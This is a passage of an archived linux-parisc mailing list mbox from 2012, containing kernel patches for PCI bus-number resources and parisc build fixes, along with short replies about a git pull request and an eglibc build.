+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 	bus->subordinate = pci_scan_child_bus(bus);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index e885764..df1e9f9 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1503,6 +1503,9 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 
+	lba_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &lba_dev->hba.bus_num);
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
-- 
1.7.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC (take 2)
Date: Wed, 29 Feb 2012 19:48:30 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <BLU0-SMTP24BED21C1D225648257137976C0@phx.gbl>
References: <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl> <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl> <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com> <4F031B1A.4010908@bell.net> <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com> <4F032C4C.10805@bell.net> <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com> <4F034B6B.5020809@bell.net> <BLU0-SMTP5091B64E5E2C07CEDC0D41978C0@phx.gbl> <4F4CF28A.5050407@bell.net> <20120228225605.GA24038@glitch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330563303 7468 80.91.229.3 (1 Mar 2012 00:55:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Mar 2012 00:55:03 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 01 01:55:02 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2uIM-0006Me-G7
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Mar 2012 01:54:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932291Ab2CAAy6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Feb 2012 19:54:58 -0500
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:23721 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932238Ab2CAAy5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Feb 2012 19:54:57 -0500
X-Greylist: delayed 369 seconds by postgrey-1.27 at vger.kernel.org; Wed, 29 Feb 2012 19:54:57 EST
Original-Received: from BLU0-SMTP24 ([65.55.111.135]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 29 Feb 2012 16:48:47 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP24.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 29 Feb 2012 16:48:46 -0800
In-Reply-To: <20120228225605.GA24038@glitch>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Mar 2012 00:48:46.0699 (UTC) FILETIME=[0F3753B0:01CCF745]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4217
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4217>

On 28-Feb-12, at 5:56 PM, Domenico Andreoli wrote:

> I applied this patch to v3.3-rc5 and then tried to build eglibc  
> 2.13-27,
> unsuccessfully. Do you have any patch for it?


I should have remembered.  You have to remove/move the expected  
results file
(expected-results-hppa-linux-gnu-libc) out of the way -- it hasn't  
been updated.
Otherwise, the build will fail in the testsuite.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 27/36] PCI, parisc: Register busn_res for root buses
Date: Wed, 29 Feb 2012 19:00:28 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <1330570837-26638-28-git-send-email-yinghai@kernel.org>
References: <1330570837-26638-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330570968 21201 80.91.229.3 (1 Mar 2012 03:02:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Mar 2012 03:02:48 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>,
	David Miller <davem@davemloft.net>, x86 <x86@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 01 04:02:45 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S2wI0-0007EU-Ul
	for glk-linux-kernel-3@plane.gmane.org; Thu, 01 Mar 2012 04:02:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932776Ab2CADC1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 29 Feb 2012 22:02:27 -0500
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:32315 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755687Ab2CADCQ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 29 Feb 2012 22:02:16 -0500
Original-Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94])
	by rcsinet15.oracle.com (Sentrion-MTA-4.2.2/Sentrion-MTA-4.2.2) with ESMTP id q2131Muq008059
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 1 Mar 2012 03:01:23 GMT
Original-Received: from acsmt356.oracle.com (acsmt356.oracle.com [141.146.40.156])
	by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q2131Lrq001111
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 1 Mar 2012 03:01:22 GMT
Original-Received: from abhmt109.oracle.com (abhmt109.oracle.com [141.146.116.61])
	by acsmt356.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q2131K3A001016;
	Wed, 29 Feb 2012 21:01:21 -0600
Original-Received: from linux-siqj.site.com (/10.132.126.254)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Wed, 29 Feb 2012 19:01:20 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1330570837-26638-1-git-send-email-yinghai@kernel.org>
X-Source-IP: ucsinet22.oracle.com [156.151.31.94]
X-CT-RefId: str=0001.0A090204.4F4EE685.00AA,ss=1,re=0.000,fgs=0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1260352 gmane.linux.kernel.pci:13924 gmane.linux.kernel.cross-arch:12903 gmane.linux.ports.parisc:4218
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1260352>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    5 +++++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 0610e91..def94af 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -984,6 +984,10 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
+	dino_dev->hba.bus_num.start = dino_current_bus;
+	dino_dev->hba.bus_num.end = 255;
+	dino_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
@@ -999,6 +1003,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 	bus->subordinate = pci_scan_child_bus(bus);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index e885764..df1e9f9 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1503,6 +1503,9 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 
+	lba_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &lba_dev->hba.bus_num);
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
-- 
1.7.7


From - Thu Nov 08 21:08:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes for 3.3-rc5
Date: Sat, 03 Mar 2012 17:44:56 -0600
Lines: 85
Approved: news@gmane.org
Message-ID: <1330818296.15243.1.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330818364 23993 80.91.229.3 (3 Mar 2012 23:46:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 3 Mar 2012 23:46:04 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Mar 04 00:46:03 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S3yeG-0003o6-Hn
	for glk-linux-kernel-3@plane.gmane.org; Sun, 04 Mar 2012 00:46:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753357Ab2CCXo7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Mar 2012 18:44:59 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36938 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752407Ab2CCXo6 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Mar 2012 18:44:58 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BA8298EE156;
	Sat,  3 Mar 2012 15:44:57 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WF-6fFW6d3wo; Sat,  3 Mar 2012 15:44:57 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1F2808EE0EC;
	Sat,  3 Mar 2012 15:44:57 -0800 (PST)
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1261575 gmane.linux.ports.parisc:4219
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1261575>

This is a set of build fixes to get the cross compiled architecture
testbeds building again

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6.git parisc-fixes

The short changelog is:

Cong Wang (1):
      [PARISC] include <linux/prefetch.h> in drivers/parisc/iommu-helpers.h

James Bottomley (2):
      [PARISC] don't unconditionally override CROSS_COMPILE for 64 bit.
      [PARISC] fix compile break caused by iomap: make IOPORT/PCI mapping functions conditional

And the diffstat

 arch/parisc/Makefile            |    4 ++++
 drivers/parisc/iommu-helpers.h  |    2 ++
 include/asm-generic/iomap.h     |    2 +-
 include/asm-generic/pci_iomap.h |    2 +-
 4 files changed, 8 insertions(+), 2 deletions(-)

With the full diffs below.

James

---

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 55cca1d..19ab7b2 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -31,7 +31,11 @@ ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
 WIDTH		:= 64
+
+# FIXME: if no default set, should really try to locate dynamically
+ifeq ($(CROSS_COMPILE),)
 CROSS_COMPILE	:= hppa64-linux-gnu-
+endif
 else # 32-bit
 WIDTH		:=
 endif
diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
index a9c46cc..8c33491 100644
--- a/drivers/parisc/iommu-helpers.h
+++ b/drivers/parisc/iommu-helpers.h
@@ -1,3 +1,5 @@
+#include <linux/prefetch.h>
+
 /**
  * iommu_fill_pdir - Insert coalesced scatter/gather chunks into the I/O Pdir.
  * @ioc: The I/O Controller.
diff --git a/include/asm-generic/iomap.h b/include/asm-generic/iomap.h
index 8a3d4fd..6afd7d6 100644
--- a/include/asm-generic/iomap.h
+++ b/include/asm-generic/iomap.h
@@ -70,7 +70,7 @@ extern void ioport_unmap(void __iomem *);
 /* Destroy a virtual mapping cookie for a PCI BAR (memory or IO) */
 struct pci_dev;
 extern void pci_iounmap(struct pci_dev *dev, void __iomem *);
-#else
+#elif defined(CONFIG_GENERIC_IOMAP)
 struct pci_dev;
 static inline void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 { }
diff --git a/include/asm-generic/pci_iomap.h b/include/asm-generic/pci_iomap.h
index e58fcf8..ce37349 100644
--- a/include/asm-generic/pci_iomap.h
+++ b/include/asm-generic/pci_iomap.h
@@ -25,7 +25,7 @@ extern void __iomem *__pci_ioport_map(struct pci_dev *dev, unsigned long port,
 #define __pci_ioport_map(dev, port, nr) ioport_map((port), (nr))
 #endif
 
-#else
+#elif defined(CONFIG_GENERIC_PCI_IOMAP)
 static inline void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max)
 {
 	return NULL;




From - Thu Nov 08 21:08:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc fixes for 3.3-rc5
Date: Sat, 3 Mar 2012 16:17:34 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <CA+55aFybqMz-6K9S-tt=vLoinaSsCFHewwLR=orCNNWzW0vs1Q@mail.gmail.com>
References: <1330818296.15243.1.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1330820284 3355 80.91.229.3 (4 Mar 2012 00:18:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Mar 2012 00:18:04 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 04 01:18:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S3z9A-0003gA-P9
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Mar 2012 01:17:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752797Ab2CDAR4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Mar 2012 19:17:56 -0500
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:64414 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752617Ab2CDARz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Mar 2012 19:17:55 -0500
Original-Received: by wejx9 with SMTP id x9so1709946wej.19
        for <multiple recipients>; Sat, 03 Mar 2012 16:17:54 -0800 (PST)
Received-SPF: pass (google.com: domain of linus971@gmail.com designates 10.180.107.68 as permitted sender) client-ip=10.180.107.68;
Authentication-Results: mr.google.com; spf=pass (google.com: domain of linus971@gmail.com designates 10.180.107.68 as permitted sender) smtp.mail=linus971@gmail.com; dkim=pass header.i=linus971@gmail.com
Original-Received: from mr.google.com ([10.180.107.68])
        by 10.180.107.68 with SMTP id ha4mr6368117wib.9.1330820274372 (num_hops = 1);
        Sat, 03 Mar 2012 16:17:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=MjeINLex3QRl7e7tieEcFWJX6AsKdUpZ56aXE7vbrTU=;
        b=U7z9dyhmxFGFUWxv2ltMeIFDjV46smJ7ttpbiJifLjD190BwEAUqEHxGTjNwrQBqV/
         ZRKQV0zo6zaUN6BDpYhRo/2fl/O5v+9H55hkcXEmqUK2364zwWIXcxLlyrB/PO7gWavU
         bml8fD3HZba/p8p1R0EQpYtTCgOsW2Ck42wZaZZi8J8hkeMB/OfihlRcPgQzj8YfpYHv
         Ays7JZ43xO7Ilwcxf0bghrhxng3s35Q24s2Dc/G17+TBefth41p/2pAF5+njFbIOxVmX
         vV+dWZfXlT5SPnyAUmKBHLwFxsavocw9vl4CJIj/AAqtlMO6CvhI65CVGaMm32U4UAh4
         Sg8w==
Original-Received: by 10.180.107.68 with SMTP id ha4mr5068097wib.9.1330820274317; Sat,
 03 Mar 2012 16:17:54 -0800 (PST)
Original-Received: by 10.180.81.166 with HTTP; Sat, 3 Mar 2012 16:17:34 -0800 (PST)
In-Reply-To: <1330818296.15243.1.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: 5zzCErpwNJTxpGyYS0wUuBKjRWE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4220 gmane.linux.kernel:1261581
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4220>

On Sat, Mar 3, 2012 at 3:44 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
>
> git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6.git parisc-fixes

"fatal: Couldn't find remote ref parisc-fixes"

Forgot to push?

                Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc fixes for 3.3-rc5
Date: Sat, 03 Mar 2012 18:31:29 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <1330821089.15243.4.camel@dabdike.int.hansenpartnership.com>
References: <1330818296.15243.1.camel@dabdike.int.hansenpartnership.com>
	 <CA+55aFybqMz-6K9S-tt=vLoinaSsCFHewwLR=orCNNWzW0vs1Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330821095 8107 80.91.229.3 (4 Mar 2012 00:31:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Mar 2012 00:31:35 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 04 01:31:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S3zML-0000Sh-AY
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Mar 2012 01:31:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753826Ab2CDAbb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Mar 2012 19:31:31 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37004 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753818Ab2CDAbb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Mar 2012 19:31:31 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DAF318EE156;
	Sat,  3 Mar 2012 16:31:30 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kh9M-Q84ces5; Sat,  3 Mar 2012 16:31:30 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 41BBE8EE0EC;
	Sat,  3 Mar 2012 16:31:30 -0800 (PST)
In-Reply-To: <CA+55aFybqMz-6K9S-tt=vLoinaSsCFHewwLR=orCNNWzW0vs1Q@mail.gmail.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4221 gmane.linux.kernel:1261586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4221>

On Sat, 2012-03-03 at 16:17 -0800, Linus Torvalds wrote:
> On Sat, Mar 3, 2012 at 3:44 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> >
> > git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6.git parisc-fixes
> 
> "fatal: Couldn't find remote ref parisc-fixes"
> 
> Forgot to push?

Erm, no, forgot to give the URL of the right tree.  Sorry about that,
try this instead:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-fixes

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA64: Cannot write to ext4 filesystems with files > 28672 byte
Date: Sun, 4 Mar 2012 17:14:14 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <BLU0-SMTP92018283116845C259EC9F97530@phx.gbl>
References: <51659a45a16b0a5b0ede44e3f3e830dc.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330899275 30437 80.91.229.3 (4 Mar 2012 22:14:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Mar 2012 22:14:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 04 23:14:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S4JhJ-0005kU-EB
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Mar 2012 23:14:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754594Ab2CDWOc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Mar 2012 17:14:32 -0500
Original-Received: from blu0-omc3-s13.blu0.hotmail.com ([65.55.116.88]:40174 "EHLO
	blu0-omc3-s13.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753852Ab2CDWOc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Mar 2012 17:14:32 -0500
Original-Received: from BLU0-SMTP92 ([65.55.116.73]) by blu0-omc3-s13.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Mar 2012 14:14:31 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP92.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Mar 2012 14:14:31 -0800
In-Reply-To: <51659a45a16b0a5b0ede44e3f3e830dc.squirrel@webmail.sf-mail.de>
X-Priority: 3 (Normal)
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Mar 2012 22:14:31.0050 (UTC) FILETIME=[2C125EA0:01CCFA54]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
